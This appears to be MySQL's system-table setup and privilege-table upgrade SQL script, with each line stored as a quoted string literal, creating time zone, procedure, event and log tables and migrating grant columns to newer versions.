"CREATE TABLE IF NOT EXISTS help_keyword ( help_keyword_id int unsigned not null, name char(64) not null, primary key (help_keyword_id), unique index (name) ) engine=MyISAM CHARACTER SET utf8 comment='help keywords';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS time_zone_name ( Name char(64) NOT NULL, Time_zone_id int unsigned NOT NULL, PRIMARY KEY Name (Name) ) engine=MyISAM CHARACTER SET utf8 comment='Time zone names';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS time_zone ( Time_zone_id int unsigned NOT NULL auto_increment, Use_leap_seconds enum('Y','N') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL, PRIMARY KEY TzId (Time_zone_id) ) engine=MyISAM CHARACTER SET utf8 comment='Time zones';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS time_zone_transition ( Time_zone_id int unsigned NOT NULL, Transition_time bigint signed NOT NULL, Transition_type_id int unsigned NOT NULL, PRIMARY KEY TzIdTranTime (Time_zone_id, Transition_time) ) engine=MyISAM CHARACTER SET utf8 comment='Time zone transitions';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS time_zone_transition_type ( Time_zone_id int unsigned NOT NULL, Transition_type_id int unsigned NOT NULL, Offset int signed DEFAULT 0 NOT NULL, Is_DST tinyint unsigned DEFAULT 0 NOT NULL, Abbreviation char(8) DEFAULT '' NOT NULL, PRIMARY KEY TzIdTrTId (Time_zone_id, Transition_type_id) ) engine=MyISAM CHARACTER SET utf8 comment='Time zone transition types';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS time_zone_leap_second ( Transition_time bigint signed NOT NULL, Correction int signed NOT NULL, PRIMARY KEY TranTime (Transition_time) ) engine=MyISAM CHARACTER SET utf8 comment='Leap seconds information for time zones';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS proc (db char(64) collate utf8_bin DEFAULT '' NOT NULL, name char(64) DEFAULT '' NOT NULL, type enum('FUNCTION','PROCEDURE') NOT NULL, specific_name char(64) DEFAULT '' NOT NULL, language enum('SQL') DEFAULT 'SQL' NOT NULL, sql_data_access enum( 'CONTAINS_SQL', 'NO_SQL', 'READS_SQL_DATA', 'MODIFIES_SQL_DATA') DEFAULT 'CONTAINS_SQL' NOT NULL, is_deterministic enum('YES','NO') DEFAULT 'NO' NOT NULL, security_type enum('INVOKER','DEFINER') DEFAULT 'DEFINER' NOT NULL, param_list blob"
" NOT NULL, returns longblob DEFAULT '' NOT NULL, body longblob NOT NULL, definer char(77) collate utf8_bin DEFAULT '' NOT NULL, created timestamp, modified timestamp, sql_mode set( 'REAL_AS_FLOAT', 'PIPES_AS_CONCAT', 'ANSI_QUOTES', 'IGNORE_SPACE', 'NOT_USED', 'ONLY_FULL_GROUP_BY', 'NO_UNSIGNED_SUBTRACTION', 'NO_DIR_IN_CREATE', 'POSTGRESQL', 'ORACLE', 'MSSQL', 'DB2', 'MAXDB', 'NO_KEY_OPTIONS', 'NO_TABLE_OPTIONS', 'NO_FIELD_OPTIONS', 'MYSQL323', 'MYSQL40', 'ANSI', 'NO_AUTO_VALUE_ON_ZERO', 'NO_BACKSLASH_ESCAP"
"ES', 'STRICT_TRANS_TABLES', 'STRICT_ALL_TABLES', 'NO_ZERO_IN_DATE', 'NO_ZERO_DATE', 'INVALID_DATES', 'ERROR_FOR_DIVISION_BY_ZERO', 'TRADITIONAL', 'NO_AUTO_CREATE_USER', 'HIGH_NOT_PRECEDENCE', 'NO_ENGINE_SUBSTITUTION', 'PAD_CHAR_TO_FULL_LENGTH') DEFAULT '' NOT NULL, comment char(64) collate utf8_bin DEFAULT '' NOT NULL, character_set_client char(32) collate utf8_bin, collation_connection char(32) collate utf8_bin, db_collation char(32) collate utf8_bin, body_utf8 longblob, PRIMARY KEY (db,name,type)) engine"
"=MyISAM character set utf8 comment='Stored Procedures';\n "
"\n "
"CREATE TABLE IF NOT EXISTS procs_priv ( Host char(60) binary DEFAULT '' NOT NULL, Db char(64) binary DEFAULT '' NOT NULL, User char(16) binary DEFAULT '' NOT NULL, Routine_name char(64) COLLATE utf8_general_ci DEFAULT '' NOT NULL, Routine_type enum('FUNCTION','PROCEDURE') NOT NULL, Grantor char(77) DEFAULT '' NOT NULL, Proc_priv set('Execute','Alter Routine','Grant') COLLATE utf8_general_ci DEFAULT '' NOT NULL, Timestamp timestamp(14), PRIMARY KEY (Host,Db,User,Routine_name,Routine_type), KEY Grantor (Gran"
"tor) ) engine=MyISAM CHARACTER SET utf8 COLLATE utf8_bin comment='Procedure privileges';\n "
"\n "
"-- Create general_log if CSV is enabled.\n "
"\n "
"SET @str = IF (@@have_csv = 'YES', 'CREATE TABLE IF NOT EXISTS general_log (event_time TIMESTAMP NOT NULL, user_host MEDIUMTEXT NOT NULL, thread_id INTEGER NOT NULL, server_id INTEGER UNSIGNED NOT NULL, command_type VARCHAR(64) NOT NULL, argument MEDIUMTEXT NOT NULL) engine=CSV CHARACTER SET utf8 comment=\"General log\"', 'SET @dummy = 0');\n "
"\n "
"PREPARE stmt FROM @str;\n "
"EXECUTE stmt;\n "
"DROP PREPARE stmt;\n "
"\n "
"-- Create slow_log if CSV is enabled.\n "
"\n "
"SET @str = IF (@@have_csv = 'YES', 'CREATE TABLE IF NOT EXISTS slow_log (start_time TIMESTAMP NOT NULL, user_host MEDIUMTEXT NOT NULL, query_time TIME NOT NULL, lock_time TIME NOT NULL, rows_sent INTEGER NOT NULL, rows_examined INTEGER NOT NULL, db VARCHAR(512) NOT NULL, last_insert_id INTEGER NOT NULL, insert_id INTEGER NOT NULL, server_id INTEGER UNSIGNED NOT NULL, sql_text MEDIUMTEXT NOT NULL) engine=CSV CHARACTER SET utf8 comment=\"Slow log\"', 'SET @dummy = 0');\n "
"\n "
"PREPARE stmt FROM @str;\n "
"EXECUTE stmt;\n "
"DROP PREPARE stmt;\n "
"\n "
"CREATE TABLE IF NOT EXISTS event ( db char(64) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL default '', name char(64) CHARACTER SET utf8 NOT NULL default '', body longblob NOT NULL, definer char(77) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL default '', execute_at DATETIME default NULL, interval_value int(11) default NULL, interval_field ENUM('YEAR','QUARTER','MONTH','DAY','HOUR','MINUTE','WEEK','SECOND','MICROSECOND','YEAR_MONTH','DAY_HOUR','DAY_MINUTE','DAY_SECOND','HOUR_MINUTE','HOUR_SECOND','MINUTE_S"
"ECOND','DAY_MICROSECOND','HOUR_MICROSECOND','MINUTE_MICROSECOND','SECOND_MICROSECOND') default NULL, created TIMESTAMP NOT NULL, modified TIMESTAMP NOT NULL, last_executed DATETIME default NULL, starts DATETIME default NULL, ends DATETIME default NULL, status ENUM('ENABLED','DISABLED','SLAVESIDE_DISABLED') NOT NULL default 'ENABLED', on_completion ENUM('DROP','PRESERVE') NOT NULL default 'DROP', sql_mode set('REAL_AS_FLOAT','PIPES_AS_CONCAT','ANSI_QUOTES','IGNORE_SPACE','NOT_USED','ONLY_FULL_GROUP_BY','NO"
"_UNSIGNED_SUBTRACTION','NO_DIR_IN_CREATE','POSTGRESQL','ORACLE','MSSQL','DB2','MAXDB','NO_KEY_OPTIONS','NO_TABLE_OPTIONS','NO_FIELD_OPTIONS','MYSQL323','MYSQL40','ANSI','NO_AUTO_VALUE_ON_ZERO','NO_BACKSLASH_ESCAPES','STRICT_TRANS_TABLES','STRICT_ALL_TABLES','NO_ZERO_IN_DATE','NO_ZERO_DATE','INVALID_DATES','ERROR_FOR_DIVISION_BY_ZERO','TRADITIONAL','NO_AUTO_CREATE_USER','HIGH_NOT_PRECEDENCE','NO_ENGINE_SUBSTITUTION','PAD_CHAR_TO_FULL_LENGTH') DEFAULT '' NOT NULL, comment char(64) CHARACTER SET utf8 COLLATE "
"utf8_bin NOT NULL default '', originator INTEGER UNSIGNED NOT NULL, time_zone char(64) CHARACTER SET latin1 NOT NULL DEFAULT 'SYSTEM', character_set_client char(32) collate utf8_bin, collation_connection char(32) collate utf8_bin, db_collation char(32) collate utf8_bin, body_utf8 longblob, PRIMARY KEY (db, name) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT 'Events';\n "
"\n "
"\n "
"CREATE TABLE IF NOT EXISTS ndb_binlog_index (Position BIGINT UNSIGNED NOT NULL, File VARCHAR(255) NOT NULL, epoch BIGINT UNSIGNED NOT NULL, inserts BIGINT UNSIGNED NOT NULL, updates BIGINT UNSIGNED NOT NULL, deletes BIGINT UNSIGNED NOT NULL, schemaops BIGINT UNSIGNED NOT NULL, PRIMARY KEY(epoch)) ENGINE=MYISAM;\n "
"\n "
"# Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.\n "
"# \n "
"# This program is free software; you can redistribute it and/or modify\n "
"# it under the terms of the GNU General Public License as published by\n "
"# the Free Software Foundation; version 2 of the License.\n "
"# \n "
"# This program is distributed in the hope that it will be useful,\n "
"# but WITHOUT ANY WARRANTY; without even the implied warranty of\n "
"# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n "
"# GNU General Public License for more details.\n "
"# \n "
"# You should have received a copy of the GNU General Public License\n "
"# along with this program; if not, write to the Free Software\n "
"# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n "
"\n "
"# This part converts any old privilege tables to privilege tables suitable\n "
"# for current version of MySQL\n "
"\n "
"# You can safely ignore all 'Duplicate column' and 'Unknown column' errors\n "
"# because these just mean that your tables are already up to date.\n "
"# This script is safe to run even if your tables are already up to date!\n "
"\n "
"# On unix, you should use the mysql_fix_privilege_tables script to execute\n "
"# this sql script.\n "
"# On windows you should do 'mysql --force mysql < mysql_fix_privilege_tables.sql'\n "
"\n "
"set sql_mode='';\n "
"set storage_engine=MyISAM;\n "
"\n "
"ALTER TABLE user add File_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL;\n "
"\n "
"# Detect whether or not we had the Grant_priv column\n "
"SET @hadGrantPriv:=0;\n "
"SELECT @hadGrantPriv:=1 FROM user WHERE Grant_priv LIKE '%';\n "
"\n "
"ALTER TABLE user add Grant_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add References_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add Index_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add Alter_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL;\n "
"ALTER TABLE host add Grant_priv enum('N','Y') NOT NULL,add References_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add Index_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add Alter_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL;\n "
"ALTER TABLE db add Grant_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add References_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add Index_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL,add Alter_priv enum('N','Y') COLLATE utf8_general_ci NOT NULL;\n "
"\n "
"# Fix privileges for old tables\n "
"UPDATE user SET Grant_priv=File_priv,References_priv=Create_priv,Index_priv=Create_priv,Alter_priv=Create_priv WHERE @hadGrantPriv = 0;\n "
"UPDATE db SET References_priv=Create_priv,Index_priv=Create_priv,Alter_priv=Create_priv WHERE @hadGrantPriv = 0;\n "
"UPDATE host SET References_priv=Create_priv,Index_priv=Create_priv,Alter_priv=Create_priv WHERE @hadGrantPriv = 0;\n "
"\n "
"#\n "
"# The second alter changes ssl_type to new 4.0.2 format\n "
"# Adding columns needed by GRANT .. REQUIRE (openssl)\n "
"\n "
"ALTER TABLE user\n "
"ADD ssl_type enum('','ANY','X509', 'SPECIFIED') COLLATE utf8_general_ci NOT NULL,\n "
"ADD ssl_cipher BLOB NOT NULL,\n "
"ADD x509_issuer BLOB NOT NULL,\n "
"ADD x509_subject BLOB NOT NULL;\n "
"ALTER TABLE user MODIFY ssl_type enum('','ANY','X509', 'SPECIFIED') NOT NULL;\n "
"\n "
"#\n "
"# tables_priv\n "
"#\n "
"ALTER TABLE tables_priv\n "
" ADD KEY Grantor (Grantor);\n "
"\n "
"ALTER TABLE tables_priv\n "
" MODIFY Host char(60) NOT NULL default '',\n "
" MODIFY Db char(64) NOT NULL default '',\n "
" MODIFY User char(16) NOT NULL default '',\n "
" MODIFY Table_name char(64) NOT NULL default '',\n "
" MODIFY Grantor char(77) NOT NULL default '',\n "
" ENGINE=MyISAM,\n "
" CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin;\n "
"\n "
"ALTER TABLE tables_priv\n "
" MODIFY Column_priv set('Select','Insert','Update','References')\n "
" COLLATE utf8_general_ci DEFAULT '' NOT NULL,\n "
" MODIFY Table_priv set('Select','Insert','Update','Delete','Create',\n "
" 'Drop','Grant','References','Index','Alter',\n "
" 'Create View','Show view','Trigger')\n "
" COLLATE utf8_general_ci DEFAULT '' NOT NULL,\n "
" COMMENT='Table privileges';\n "
"\n "
"#\n "
"# columns_priv\n "
"#\n "
"#\n "
"# Name change of Type -> Column_priv from MySQL 3.22.12\n "
"#\n "
"ALTER TABLE columns_priv\n "
" CHANGE Type Column_priv set('Select','Insert','Update','References')\n "
" COLLATE utf8_general_ci DEFAULT '' NOT NULL;\n "
"\n "
"ALTER TABLE columns_priv\n "
" MODIFY Host char(60) NOT NULL default '',\n "
" MODIFY Db char(64) NOT NULL default '',\n "
" MODIFY User char(16) NOT NULL default '',\n "
" MODIFY Table_name char(64) NOT NULL default '',\n "
" MODIFY Column_name char(64) NOT NULL default '',\n "
" ENGINE=MyISAM,\n "
" CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin,\n "
" COMMENT='Column privileges';\n "
"\n "
"ALTER TABLE columns_priv\n "
" MODIFY Column_priv set('Select','Insert','Update','References')\n "
" COLLATE utf8_general_ci DEFAULT '' NOT NULL;\n "
"\n "
"#\n "
"# Add the new 'type' column to the func table.\n "
"#\n "
"\n "
"ALTER TABLE func add type enum ('function','aggregate') COLLATE utf8_general_ci NOT NULL;\n "
"\n "
"#\n "
"# Change the user,db and host tables to current format\n "
"#\n "
"\n "
"# Detect whether we had Show_db_priv\n "
"SET @hadShowDbPriv:=0;\n "
"SELECT @hadShowDbPriv:=1 FROM user WHERE Show_db_priv LIKE '%';\n "
"\n "
"ALTER TABLE user\n "
"ADD Show_db_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_priv,\n "
"ADD Super_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_db_priv,\n "
"ADD Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Super_priv,\n "
"ADD Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_tmp_table_priv,\n "
"ADD Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Lock_tables_priv,\n "
"ADD Repl_slave_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Execute_priv,\n "
"ADD Repl_client_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Repl_slave_priv;\n "
"\n "
"# Convert privileges so that users have similar privileges as before\n "
"\n "
"UPDATE user SET Show_db_priv= Select_priv, Super_priv=Process_priv, Execute_priv=Process_priv, Create_tmp_table_priv='Y', Lock_tables_priv='Y', Repl_slave_priv=file_priv, Repl_client_priv=File_priv where user<>\"\" AND @hadShowDbPriv = 0;\n "
"\n "
"\n "
"# Add fields that can be used to limit number of questions and connections\n "
"# for some users.\n "
"\n "
"ALTER TABLE user\n "
"ADD max_questions int(11) NOT NULL DEFAULT 0 AFTER x509_subject,\n "
"ADD max_updates int(11) unsigned NOT NULL DEFAULT 0 AFTER max_questions,\n "
"ADD max_connections int(11) unsigned NOT NULL DEFAULT 0 AFTER max_updates;\n "
"\n "
"\n "
"#\n "
"# Add Create_tmp_table_priv and Lock_tables_priv to db and host\n "
"#\n "
"\n "
"ALTER TABLE db\n "
"ADD Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
"ADD Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"ALTER TABLE host\n "
"ADD Create_tmp_table_priv enum('N','Y') DEFAULT 'N' NOT NULL,\n "
"ADD Lock_tables_priv enum('N','Y') DEFAULT 'N' NOT NULL;\n "
"\n "
"alter table user change max_questions max_questions int(11) unsigned DEFAULT 0 NOT NULL;\n "
"\n "
"\n "
"alter table db comment='Database privileges';\n "
"alter table host comment='Host privileges; Merged with database privileges';\n "
"alter table user comment='Users and global privileges';\n "
"alter table func comment='User defined functions';\n "
"\n "
"# Convert all tables to UTF-8 with binary collation\n "
"# and reset all char columns to correct width\n "
"ALTER TABLE user\n "
" MODIFY Host char(60) NOT NULL default '',\n "
" MODIFY User char(16) NOT NULL default '',\n "
" ENGINE=MyISAM, CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin;\n "
"ALTER TABLE user\n "
" MODIFY Password char(41) character set latin1 collate latin1_bin NOT NULL default '',\n "
" MODIFY Select_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Insert_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Update_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Delete_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Create_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Drop_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Reload_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Shutdown_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Process_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY File_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Grant_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY References_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Index_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Alter_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Show_db_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Super_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Repl_slave_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Repl_client_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY ssl_type enum('','ANY','X509', 'SPECIFIED') COLLATE utf8_general_ci DEFAULT '' NOT NULL;\n "
"\n "
"ALTER TABLE db\n "
" MODIFY Host char(60) NOT NULL default '',\n "
" MODIFY Db char(64) NOT NULL default '',\n "
" MODIFY User char(16) NOT NULL default '',\n "
" ENGINE=MyISAM, CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin;\n "
"ALTER TABLE db\n "
" MODIFY Select_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Insert_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Update_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Delete_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Create_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Drop_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Grant_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY References_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Index_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Alter_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"\n "
"ALTER TABLE host\n "
" MODIFY Host char(60) NOT NULL default '',\n "
" MODIFY Db char(64) NOT NULL default '',\n "
" ENGINE=MyISAM, CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin;\n "
"ALTER TABLE host\n "
" MODIFY Select_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Insert_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Update_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Delete_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Create_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Drop_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Grant_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY References_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Index_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Alter_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Create_tmp_table_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL,\n "
" MODIFY Lock_tables_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL;\n "
"\n "
"ALTER TABLE func\n "
" ENGINE=MyISAM, CONVERT TO CHARACTER SET utf8 COLLATE utf8_bin;\n "
"ALTER TABLE func\n "
" MODIFY type enum ('function','aggregate') COLLATE utf8_general_ci NOT NULL;\n "
"\n "
"#\n "
"# Modify log tables.\n "
"#\n "
"\n "
"SET @old_log_state = @@global.general_log;\n "
"SET GLOBAL general_log = 'OFF';\n "
"ALTER TABLE general_log\n "
" MODIFY event_time TIMESTAMP NOT NULL,\n "
" MODIFY user_host MEDIUMTEXT NOT NULL,\n "
" MODIFY thread_id INTEGER NOT NULL,\n "
" MODIFY server_id INTEGER UNSIGNED NOT NULL,\n "
" MODIFY command_type VARCHAR(64) NOT NULL,\n "
" MODIFY argument MEDIUMTEXT NOT NULL;\n "
"SET GLOBAL general_log = @old_log_state;\n "
"\n "
"SET @old_log_state = @@global.slow_query_log;\n "
"SET GLOBAL slow_query_log = 'OFF';\n "
"ALTER TABLE slow_log\n "
" MODIFY start_time TIMESTAMP NOT NULL,\n "
" MODIFY user_host MEDIUMTEXT NOT NULL,\n "
" MODIFY query_time TIME NOT NULL,\n "
" MODIFY lock_time TIME NOT NULL,\n "
" MODIFY rows_sent INTEGER NOT NULL,\n "
" MODIFY rows_examined INTEGER NOT NULL,\n "
" MODIFY db VARCHAR(512) NOT NULL,\n "
" MODIFY last_insert_id INTEGER NOT NULL,\n "
" MODIFY insert_id INTEGER NOT NULL,\n "
" MODIFY server_id INTEGER UNSIGNED NOT NULL,\n "
" MODIFY sql_text MEDIUMTEXT NOT NULL;\n "
"SET GLOBAL slow_query_log = @old_log_state;\n "
"\n "
"#\n "
"# Detect whether we had Create_view_priv\n "
"#\n "
"SET @hadCreateViewPriv:=0;\n "
"SELECT @hadCreateViewPriv:=1 FROM user WHERE Create_view_priv LIKE '%';\n "
"\n "
"#\n "
"# Create VIEWs privileges (v5.0)\n "
"#\n "
"ALTER TABLE db ADD Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Lock_tables_priv;\n "
"ALTER TABLE db MODIFY Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Lock_tables_priv;\n "
"\n "
"ALTER TABLE host ADD Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Lock_tables_priv;\n "
"ALTER TABLE host MODIFY Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Lock_tables_priv;\n "
"\n "
"ALTER TABLE user ADD Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Repl_client_priv;\n "
"ALTER TABLE user MODIFY Create_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Repl_client_priv;\n "
"\n "
"#\n "
"# Show VIEWs privileges (v5.0)\n "
"#\n "
"ALTER TABLE db ADD Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_view_priv;\n "
"ALTER TABLE db MODIFY Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_view_priv;\n "
"\n "
"ALTER TABLE host ADD Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_view_priv;\n "
"ALTER TABLE host MODIFY Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_view_priv;\n "
"\n "
"ALTER TABLE user ADD Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_view_priv;\n "
"ALTER TABLE user MODIFY Show_view_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_view_priv;\n "
"\n "
"#\n "
"# Assign create/show view privileges to people who have create provileges\n "
"#\n "
"UPDATE user SET Create_view_priv=Create_priv, Show_view_priv=Create_priv where user<>\"\" AND @hadCreateViewPriv = 0;\n "
"\n "
"#\n "
"#\n "
"#\n "
"SET @hadCreateRoutinePriv:=0;\n "
"SELECT @hadCreateRoutinePriv:=1 FROM user WHERE Create_routine_priv LIKE '%';\n "
"\n "
"#\n "
"# Create PROCEDUREs privileges (v5.0)\n "
"#\n "
"ALTER TABLE db ADD Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_view_priv;\n "
"ALTER TABLE db MODIFY Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_view_priv;\n "
"\n "
"ALTER TABLE host ADD Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_view_priv;\n "
"ALTER TABLE host MODIFY Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_view_priv;\n "
"\n "
"ALTER TABLE user ADD Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_view_priv;\n "
"ALTER TABLE user MODIFY Create_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Show_view_priv;\n "
"\n "
"#\n "
"# Alter PROCEDUREs privileges (v5.0)\n "
"#\n "
"ALTER TABLE db ADD Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_routine_priv;\n "
"ALTER TABLE db MODIFY Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_routine_priv;\n "
"\n "
"ALTER TABLE host ADD Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_routine_priv;\n "
"ALTER TABLE host MODIFY Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_routine_priv;\n "
"\n "
"ALTER TABLE user ADD Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_routine_priv;\n "
"ALTER TABLE user MODIFY Alter_routine_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Create_routine_priv;\n "
"\n "
"ALTER TABLE db ADD Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_routine_priv;\n "
"ALTER TABLE db MODIFY Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_routine_priv;\n "
"\n "
"ALTER TABLE host ADD Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_routine_priv;\n "
"ALTER TABLE host MODIFY Execute_priv enum('N','Y') COLLATE utf8_general_ci DEFAULT 'N' NOT NULL AFTER Alter_routine_priv;\n "
"\n "
"#\n "
"# Assign create/alter routine privileges to people who have create privileges\n "
"#\n "
"UPDATE user SET Create_routine_priv=Create_priv, Alter_routine_priv=Alter_priv where user<>\"\" AND @hadCreateRoutinePriv = 0;\n "
